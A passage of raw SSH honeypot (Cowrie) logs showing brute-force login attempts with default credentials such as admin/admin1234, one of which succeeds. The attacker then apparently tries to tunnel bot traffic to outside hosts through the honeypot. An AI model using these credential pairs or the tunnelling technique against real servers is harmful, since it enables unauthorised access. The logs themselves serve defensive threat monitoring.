\\x94\\xacx\\xbe\\xaf\\x14c\\xed\\x87Pmi&zy$\\xdeP\\xa2\\x87FZ\\xe9\\x83%\\x88X\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.985042Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43792,"dst_ip":"159.203.135.109","dst_port":22,"session":"83d25f0e8dbf","protocol":"ssh","message":"New connection: 91.92.40.36:43792 (159.203.135.109:22) [session: 83d25f0e8dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:32.152390Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:32.414813Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42112,"dst_ip":"10.17.0.5","dst_port":22,"session":"58afcc69aa4c","protocol":"ssh","message":"New connection: 45.153.34.195:42112 (10.17.0.5:22) [session: 58afcc69aa4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:32.884398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:32.888629Z","src_ip":"45.153.34.195","session":"58afcc69aa4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:32.969909Z","src_ip":"45.153.34.195","session":"58afcc69aa4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:33.215858Z","src_ip":"45.153.34.195","session":"58afcc69aa4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":60033,"dst_ip":"10.17.0.5","dst_port":22,"session":"a998ada4bf5f","protocol":"ssh","message":"New connection: 23.175.50.47:60033 (10.17.0.5:22) [session: a998ada4bf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:34.076702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:34.080846Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:34.181031Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:34.299309Z","src_ip":"45.153.34.195","session":"58afcc69aa4c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:34.668927Z","src_ip":"91.92.40.36","session":"83d25f0e8dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:34.672283Z","src_ip":"91.92.40.36","session":"83d25f0e8dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:35.146286Z","src_ip":"91.92.40.36","session":"648fc9ee0f9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:35.465112Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42128,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4639dda3df2","protocol":"ssh","message":"New connection: 45.153.34.195:42128 (10.17.0.5:22) [session: e4639dda3df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:35.718324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:35.754784Z","src_ip":"45.153.34.195","session":"e4639dda3df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:35.842466Z","src_ip":"45.153.34.195","session":"e4639dda3df2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"p@ssw0rd","message":"login attempt [odoo/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:36.166773Z","src_ip":"45.153.34.195","session":"e4639dda3df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:37.249405Z","src_ip":"45.153.34.195","session":"e4639dda3df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23872,"dst_ip":"159.203.135.109","dst_port":22,"session":"9087e0102f14","protocol":"ssh","message":"New connection: 91.92.40.36:23872 (159.203.135.109:22) [session: 9087e0102f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:37.650009Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.232831Z","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.321637Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/9.1.2 Safari/604.5.6\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=eUoxSShsJlIlbDVaKk9fXw%3D%3DGd3QjaC4SQCN1PLJra9EPCoh8Dh95ifigGn4drbHURrGZ8VnlZuUGqVYxNBQWdfDs8jqWuqBW3RDh4J3Jof72wTJ9HpQ719utnsSeXn2visgututnOLuHoQJh2f39rldvXW5LaEsifNiAFPsik2kWfsz9SjbjiNYt0S5a0b8bxM9X3xxVbmcA46cEYJECzljm%2FzlSD60CwnCUD78pQfhoZUkqQpJB8GI%2BwH%2FeGUhdeey54CBHK9z8xjQ7H9lhcaLBxoRgNYiCUYkdQv2do8smtX8spn8PuTqJD0w2wLIghU5NLbGDx29dEsEqv9YeqaDeAtG%2F2zFr4Dt0UGgfw2T2yGgGUMvPdIpyfaDLRELdmKJsTrVGyISwuUVCQJTHVokiw%2BzRLTx35wNzZvINxB%2FzlAKZ%2ByNSOGsUbAe2s9QjTLzjOdnL6DoMjnLAWKfFYiQ9vT2rfTYUBqtiGiEfdWJKOO%2FgQfZvhJIccc4vREWXHKlfSZP7KgpxGB5%2B%2Fas5gffNoCPJD4iHDNUp3QIcvJD1M8uNGCZFWgD7gTyOhqfMznhtcAP%2BggwsKctmN6jU6Emn2xifw7m6R5v4N7bWCU1w0%2FcZOl9G2B8xIGt1Ma4%2BRern177UbFTDV36GCXAi7vp8RIXcqy%2FNV%2FKQvEa1nnGkpEnvJoDcNHPEoZdJSoAx7QXFCan%2Bfx%2FxcRh44Ttjlkl36XqgodsQp%2Fq60c5bCecmhmBK7NPMElugAP80s%2BYKxqLquaVzLJnT0PC70tHW6szj0EEcMpOkYA5qf0PtN2QtXbO0Q%2Bl5zZ1YxAAMwQn%2BehDxf0nAczAI6awH9M17D70yc1yhG3TGNhoD%2BEn%2B8kSCS%2FGPHZwnvmkM1fRZmpKuqlD37Ih%2FtutpskkQ0XVA0F%2BItETzO%2BYsDNO8rnV%2BJEI9izjm%2BKn%2BBjzKx5T2Scs280gNjaNTYZKKkL0lBxCONiFwDbdkWxK9aMCxAh9ZuBjl869h86bE0H75wEUpH3VHRb9gdqLgNmhdFXW91JpvoNE6u4sx2nf3NPi67EtZRtP6k8fWSnZZI5e%2FQJy8jemDlXIgFkvvGThZggq08umVNm%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/9.1.2 Safari/604.5.6\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=eUoxSShsJlIlbDVaKk9fXw%3D%3DGd3QjaC4SQCN1PLJra9EPCoh8Dh95ifigGn4drbHURrGZ8VnlZuUGqVYxNBQWdfDs8jqWuqBW3RDh4J3Jof72wTJ9HpQ719utnsSeXn2visgututnOLuHoQJh2f39rldvXW5LaEsifNiAFPsik2kWfsz9SjbjiNYt0S5a0b8bxM9X3xxVbmcA46cEYJECzljm%2FzlSD60CwnCUD78pQfhoZUkqQpJB8GI%2BwH%2FeGUhdeey54CBHK9z8xjQ7H9lhcaLBxoRgNYiCUYkdQv2do8smtX8spn8PuTqJD0w2wLIghU5NLbGDx29dEsEqv9YeqaDeAtG%2F2zFr4Dt0UGgfw2T2yGgGUMvPdIpyfaDLRELdmKJsTrVGyISwuUVCQJTHVokiw%2BzRLTx35wNzZvINxB%2FzlAKZ%2ByNSOGsUbAe2s9QjTLzjOdnL6DoMjnLAWKfFYiQ9vT2rfTYUBqtiGiEfdWJKOO%2FgQfZvhJIccc4vREWXHKlfSZP7KgpxGB5%2B%2Fas5gffNoCPJD4iHDNUp3QIcvJD1M8uNGCZFWgD7gTyOhqfMznhtcAP%2BggwsKctmN6jU6Emn2xifw7m6R5v4N7bWCU1w0%2FcZOl9G2B8xIGt1Ma4%2BRern177UbFTDV36GCXAi7vp8RIXcqy%2FNV%2FKQvEa1nnGkpEnvJoDcNHPEoZdJSoAx7QXFCan%2Bfx%2FxcRh44Ttjlkl36XqgodsQp%2Fq60c5bCecmhmBK7NPMElugAP80s%2BYKxqLquaVzLJnT0PC70tHW6szj0EEcMpOkYA5qf0PtN2QtXbO0Q%2Bl5zZ1YxAAMwQn%2BehDxf0nAczAI6awH9M17D70yc1yhG3TGNhoD%2BEn%2B8kSCS%2FGPHZwnvmkM1fRZmpKuqlD37Ih%2FtutpskkQ0XVA0F%2BItETzO%2BYsDNO8rnV%2BJEI9izjm%2BKn%2BBjzKx5T2Scs280gNjaNTYZKKkL0lBxCONiFwDbdkWxK9aMCxAh9ZuBjl869h86bE0H75wEUpH3VHRb9gdqLgNmhdFXW91JpvoNE6u4sx2nf3NPi67EtZRtP6k8fWSnZZI5e%2FQJy8jemDlXIgFkvvGThZggq08umVNm%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.329682Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.402715Z","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:38.461385Z","src_ip":"23.175.50.47","session":"a998ada4bf5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc1aU\\xfc\\x84,\\xa5\\n\\xdd\\xa1\\x04\\x99Z\\xa1\\xb4c\\xf1\\xa6\\x10\\x18i\\xe8\\x0c\\x129tm\\xf3\\xdfU\\xe5\\xa0 \\xec9;\\xe9\\x06\\x7f\\x98v,\\xbct\\xb8\\xee\\xdb~\\xe8\\xcaS\\x9b\\x1a\\xd6\\xc6\\x17\\xa4\\xde\\x1b\\x19_\\x80v\\xbd\\xb4\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\xcb\\x90C1\\xcd\\xea\\x1d3\\x84\\xfcz6!\\xcf&\\xe6N\\xa8\\xdf\\xa7\\x1c:\\xbeQv\\x00<*/\\xd4+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc1aU\\xfc\\x84,\\xa5\\n\\xdd\\xa1\\x04\\x99Z\\xa1\\xb4c\\xf1\\xa6\\x10\\x18i\\xe8\\x0c\\x129tm\\xf3\\xdfU\\xe5\\xa0 \\xec9;\\xe9\\x06\\x7f\\x98v,\\xbct\\xb8\\xee\\xdb~\\xe8\\xcaS\\x9b\\x1a\\xd6\\xc6\\x17\\xa4\\xde\\x1b\\x19_\\x80v\\xbd\\xb4\\x00 